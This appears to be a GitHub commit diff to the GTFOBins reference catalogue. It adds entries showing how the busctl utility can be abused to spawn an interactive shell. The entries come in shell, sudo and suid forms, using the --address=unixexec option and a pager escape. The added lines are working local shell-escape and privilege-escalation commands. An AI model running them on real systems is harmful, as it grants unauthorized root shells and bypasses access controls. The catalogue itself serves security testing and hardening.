Skip to content

Commit 4eca50e

Browse files
authored
Add another busctl shell
2 parents a0be237 + 0a28b73 commit 4eca50e

File tree

1 file changed

+8
-4
lines changed

1 file changed

+8
-4
lines changed

_gtfobins/busctl.md

+8-4
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,16 @@
11
---
2-
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
32
functions:
43
shell:
5-
- code: |
4+
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
5+
code: |
66
busctl --show-machine
77
!/bin/sh
8+
- code: |
9+
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
810
sudo:
911
- code: |
10-
sudo busctl --show-machine
11-
!/bin/sh
12+
sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
13+
suid:
14+
- code: |
15+
./busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'
1216
---

0 commit comments

Comments
 (0)